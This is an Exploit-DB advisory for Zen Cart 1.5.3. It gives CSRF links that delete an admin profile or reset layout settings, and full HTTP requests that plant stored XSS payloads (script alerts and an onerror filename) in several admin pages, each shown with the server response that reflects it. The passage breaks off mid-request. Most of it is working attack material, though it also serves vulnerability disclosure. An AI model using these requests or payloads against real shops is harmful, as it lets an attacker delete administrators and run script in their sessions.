Exploit-DB #34581
Description: Zen Cart 1.5.3 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-09-08
Author: smash

Exploit:
#Title: Zen Cart 1.5.3 - CSRF & Admin Panel XSS
#Date: 09.07.14
#Vendor: zen-cart.com
#Tested on: Apache 2.2 [at] Linux
#Contact: smash[at]devilteam.pl
 
#1 - CSRF
 
- Delete admin
 
GET profile stands for user id.
 
localhost/zen/zen-cart-v1.5.3-07042014/admin123/profiles.php?action=delete&profile=2
 
- Reset layout boxes to default
 
localhost/zen/zen-cart-v1.5.3-07042014/admin123/layout_controller.php?page=&cID=74&action=reset_defaults
 
 
#2 - Persistent XSS in admin panel
 
Since admin privileges are required to execute following vulnerablities this is not a serious threat.
 
- Extras -> Media types -> Add
 
Vulnerable parameters - type_name & type_exit
 
Request:
POST /zen/zen-cart-v1.5.3-07042014/admin123/media_types.php?page=1&mID=2&action=save HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]90852339
Content-Length: 663
 
----------------------------[PII_REDACTED][PII_REDACTED]90852339
Content-Disposition: form-data; name="securityToken"
 
b98019227f8014aed6d22b02f0748d11
----------------------------[PII_REDACTED][PII_REDACTED]90852339
Content-Disposition: form-data; name="type_name"
 
<h1>sup<!--
----------------------------[PII_REDACTED][PII_REDACTED]90852339
Content-Disposition: form-data; name="type_ext"
 
sup<>
----------------------------[PII_REDACTED][PII_REDACTED]90852339
Content-Disposition: form-data; name="x"
 
19
----------------------------[PII_REDACTED][PII_REDACTED]90852339
Content-Disposition: form-data; name="y"
 
13
----------------------------[PII_REDACTED][PII_REDACTED]90852339--
 
Response:
(...)
<td class="dataTableContent"><h1>sup<!--</td>
<td class="dataTableContent">sup<></td>
<td class="dataTableContent" align="right">
(...)
 
- Extras -> Media manager -> Add
 
Vulnerable parameter - media_name
 
Request:
POST /zen/zen-cart-v1.5.3-07042014/admin123/media_manager.php?page=1&mID=1&action=save HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]21022401
Content-Length: 5633
 
----------------------------[PII_REDACTED][PII_REDACTED]21022401
Content-Disposition: form-data; name="securityToken"
 
b98019227f8014aed6d22b02f0748d11
----------------------------[PII_REDACTED][PII_REDACTED]21022401
Content-Disposition: form-data; name="media_name"
 
<script>alert(666)</script>
----------------------------[PII_REDACTED][PII_REDACTED]21022401
Content-Disposition: form-data; name="x"
 
32
----------------------------[PII_REDACTED][PII_REDACTED]21022401
Content-Disposition: form-data; name="y"
 
16
----------------------------[PII_REDACTED][PII_REDACTED]21022401
Content-Disposition: form-data; name="clip_filename"; filename="cat.png"
Content-Type: image/png
 
(image)
 
----------------------------[PII_REDACTED][PII_REDACTED]21022401
Content-Disposition: form-data; name="media_dir"
 
 
----------------------------[PII_REDACTED][PII_REDACTED]21022401
Content-Disposition: form-data; name="media_type"
 
2
----------------------------[PII_REDACTED][PII_REDACTED]21022401--
 
Response:
(...)
<td class="dataTableContent"><script>alert(666)</script></td>
<td class="dataTableContent" align="right">
(...)
<tr class="infoBoxHeading">
  <td class="infoBoxHeading"><strong><script>alert(666)</script></strong></td>
</tr>
 
- Extras -> Music genre -> Add
 
Vulenrable parameter - music_genre_name
 
POST /zen/zen-cart-v1.5.3-07042014/admin123/music_genre.php?action=insert HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]007920584
Content-Length: 581
 
----------------------------[PII_REDACTED][PII_REDACTED]007920584
Content-Disposition: form-data; name="securityToken"
 
b98019227f8014aed6d22b02f0748d11
----------------------------[PII_REDACTED][PII_REDACTED]007920584
Content-Disposition: form-data; name="music_genre_name"
 
<script>alert(666)</script>
----------------------------[PII_REDACTED][PII_REDACTED]007920584
Content-Disposition: form-data; name="x"
 
37
----------------------------[PII_REDACTED][PII_REDACTED]007920584
Content-Disposition: form-data; name="y"
 
10
----------------------------[PII_REDACTED][PII_REDACTED]007920584--
 
Response:
(...)
<tr id="defaultSelected" class="dataTableRowSelected" onmouseover="rowOverEffect(this)" onmouseout="rowOutEffect(this)" onclick="document.location.href='http://localhost/zen/zen-cart-v1.5.3-07042014/admin123/music_genre.php?page=1&mID=1&action=edit'">
<td class="dataTableContent"><script>alert(666)</script></td>
<td class="dataTableContent" align="right">
(...)
<tr class="infoBoxHeading">
<td class="infoBoxHeading"><b><script>alert(666)</script></b></td>
</tr>
(...)
 
Further vuln:
http://localhost/zen/zen-cart-v1.5.3-07042014/index.php?main_page=index&typefilter=music_genre&music_genre_id=1
 
Response:
(...)
<div id="navBreadCrumb">  <a href="http://localhost/zen/zen-cart-v1.5.3-07042014/">Home</a>&nbps;::&nbps;
<script>alert(666)</script>
</div>
(...)
 
- Extras -> Record companies -> Add
 
Request:
POST /zen/zen-cart-v1.5.3-07042014/admin123/record_company.php?action=insert HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]51588711
Content-Length: 5828
 
----------------------------[PII_REDACTED][PII_REDACTED]51588711
Content-Disposition: form-data; name="securityToken"
 
b98019227f8014aed6d22b02f0748d11
----------------------------[PII_REDACTED][PII_REDACTED]51588711
Content-Disposition: form-data; name="record_company_name"
 
<script>alert(666)</script>
----------------------------[PII_REDACTED][PII_REDACTED]51588711
Content-Disposition: form-data; name="record_company_image"; filename="<img src=# onerror=alert(1)>.png"
Content-Type: image/png
 
----------------------------[PII_REDACTED][PII_REDACTED]51588711
Content-Disposition: form-data; name="img_dir"
 
categories/
----------------------------[PII_REDACTED][PII_REDACTED]51588711
Content-Di